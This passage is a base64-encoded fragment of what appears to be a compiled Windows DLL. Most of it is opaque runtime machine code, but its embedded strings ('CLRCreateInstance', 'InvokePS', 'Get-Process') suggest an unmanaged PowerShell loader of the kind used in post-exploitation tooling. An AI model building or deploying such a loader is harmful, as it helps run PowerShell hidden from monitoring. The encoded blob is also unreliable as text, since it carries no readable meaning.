MVYvsg+wIg+Tw3Rwk8w9+BCToCAAAAMnDZg8SRCQEugAAAABmDyjoZg8UwGYPc9U0Zg/FzQBmDygNIIABEGYPKBUwgAEQZg8oHZCAARBmDyglQIABEGYPKDVQgAEQZg9UwWYPVsNmD1jgZg/FxAAl8AcAAGYPKKBghgEQZg8ouFCCARBmD1TwZg9cxmYPWfRmD1zy8g9Y/mYPWcRmDyjgZg9YxoHh/w8AAIPpAYH5/QcAAA+HvgAAAIHp/gMAAAPK8g8q8WYPFPbB4QoDwbkQAAAAugAAAACD+AAPRNFmDygN4IABEGYPKNhmDygV8IABEGYPWchmD1nbZg9YymYPKBUAgQEQ8g9Z22YPKC1ggAEQZg9Z9WYPKKpwgAEQZg9U5WYPWP5mD1j8Zg9ZyPIPWdhmD1jKZg8oFRCBARBmD1nQZg8o92YPFfZmD1nLg+wQZg8owWYPWMpmDxXA8g9YwfIPWMbyD1jHZg8TRCQE3UQkBIPEEMNmDxJEJARmDygNoIABEPIPwsgAZg/FwQCD+AB3SIP5/3Regfn+BwAAd2xmDxJEJARmDygNIIABEGYPKBWQgAEQZg9UwWYPVsLyD8LQAGYPxcIAg/gAdAfdBciAARDDuukDAADrT2YPEhWQgAEQ8g9e0GYPEg3AgAEQuggAAADrNGYPEg2wgAEQ8g9ZwbrM////6Rf+//+DwQGB4f8HAACB+f8HAABzOmYPV8nyD17JugkAAACD7BxmDxNMJBCJVCQMi9SDwhCJVCQIg8IQiVQkBIkUJOgkBgAA3UQkEIPEHMNmDxJUJARmDxJEJARmD37QZg9z0iBmD37RgeH//w8AC8GD+AB0oLrpAwAA66aNpCQAAAAA6wPMzMzGhXD////+Cu11O9nJ2fHrDcaFcP////4y7dnq3snoKwEAANno3sH2hWH///8BdATZ6N7x9sJAdQLZ/QrtdALZ4OmyAgAA6EYBAAALwHQUMu2D+AJ0AvbV2cnZ4euv6bUCAADpSwMAAN3Y3djbLSCBARDGhXD///8Cw9nt2cnZ5JvdvWD///+b9oVh////QXXS2fHDxoVw////At3Y2y0qgQEQwwrJdVPD2ezrAtnt2ckKyXWu2fHD6VsCAADozwAAAN3Y3dgKyXUO2e6D+AF1BgrtdALZ4MPGhXD///8C2y0ggQEQg/gBde0K7XTp2eDr5d3Y6Q0CAADd2Om1AgAAWNnkm929YP///5v2hWH///8BdQ/d2NstIIEBEArtdALZ4MPGhXD///8E6dcBAADd2N3Y2y0ggQEQxoVw////A8MKyXWv3djbLSCBARDD2cDZ4dstPoEBEN7Zm929YP///5v2hWH///9BdZXZwNn82eSb3b1g////m4qVYf///9nJ2OHZ5JvdvWD////Z4dnww9nA2fzY2Zvf4J51GtnA3A1SgQEQ2cDZ/N7Zm9/gnnQNuAEAAADDuAAAAADr+LgCAAAA6/FWg+x0i/RWg+wI3Rwkg+wI3Rwkm912COhWCAAAg8QU3WYI3QaDxHRehcB0BenQAQAAw8zMzMzMzMzMzIB6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7roEBENnliZVs////m929YP///8aFcP///wCbio1h////0OHQ+dDBisEkD9cPvsCB4QQEAACL2gPYg8MQ/yOAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u66BARDZ5YmVbP///5vdvWD////GhXD///8A2cmKjWH////Z5ZvdvWD////ZyYqtYf///9Dl0P3QxYrFJA/XiuDQ4dD50MGKwSQP19Dk0OQKxA++wIHhBAQAAIvaA9iDwxD/I+jOAAAA2cnd2MPoxAAAAOv23djd2Nnuw93Y3djZ7oTtdALZ4MPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////AMPGhXD///8A3AWegQEQw9nJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////AN7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////Ad7Bw93Y3djbLYCBARCAvXD///8AfwfGhXD///8BCsnD3djd2NstlIEBEArtdALZ4ArJdAjdBaaBARDeycMKyXQC2eDDzMzMzMzMzMzMzMzM2cDZ/Nzh2cnZ4Nnw2ejewdn93dnDi1QkBIHiAAMAAIPKf2aJVCQG2WwkBsOpAAAIAHQGuAAAAADD3AXAgQEQuAAAAADDi0IEJQAA8H89AADwf3QD3QLDi0IEg+wKDQAA/3+JRCQGi0IEiwoPpMgLweELiUQkBIk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RnEAAwE+jCj7clvYFKStjNq2LxDic8qcTntsy07O5JUGCB6FIhPUyFtLROb0vumpIibC0sMtGaJEiZy/LOqvSEZxAAMBPowo+UHJvZ3JhbQBDAEwAUgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAIABmAGEAaQBsAGUAZAAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAHYAMgAuADAALgA1ADAANwAyADcAAAAAAEkAQwBMAFIATQBlAHQAYQBIAG8AcwB0ADoAOgBHAGUAdABSAHUAbgB0AGkAbQBlACAAZgBhAGkAbABlAGQAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAAAAAEkAQwBMAFIAUgB1AG4AdABpAG0AZQBJAG4AZgBvADoAOgBJAHMATABvAGEAZABhAGIAbABlACAAZgBhAGkAbABlAGQAIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAAAAAAAALgBOAEUAVAAgAHIAdQBuAHQAaQBtAGUAIAB2ADIALgAwAC4ANQAwADcAMgA3ACAAYwBhAG4AbgBvAHQAIABiAGUAIABsAG8AYQBkAGUAZAAKAAAAAAAAAEkAQwBMAFIAUgB1AG4AdABpAG0AZQBJAG4AZgBvADoAOgBHAGUAdABJAG4AdABlAHIAZgBhAGMAZQAgAGYAYQBpAGwAZQBkACAAdwAvAGgAcgAgADAAeAAlADAAOABsAHgACgAAAAAAQwBMAFIAIABmAGEAaQBsAGUAZAAgAHQAbwAgAHMAdABhAHIAdAAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAAAASQBDAG8AcgBSAHUAbgB0AGkAbQBlAEgAbwBzAHQAOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQARABvAG0AYQBpAG4AIABmAGEAaQBsAGUAZAAgAHcALwBoAHIAIAAwAHgAJQAwADgAbAB4AAoAAAAAAEYAYQBpAGwAZQBkACAAdABvACAAZwBlAHQAIABkAGUAZgBhAHUAbAB0ACAAQQBwAHAARABvAG0AYQBpAG4AIAB3AC8AaAByACAAMAB4ACUAMAA4AGwAeAAKAAAAAAAAAEYAYQBpAGwAZQBkACAAdABvACAAbABvAGEAZAAgAHQAaABlACAAYQBzAHM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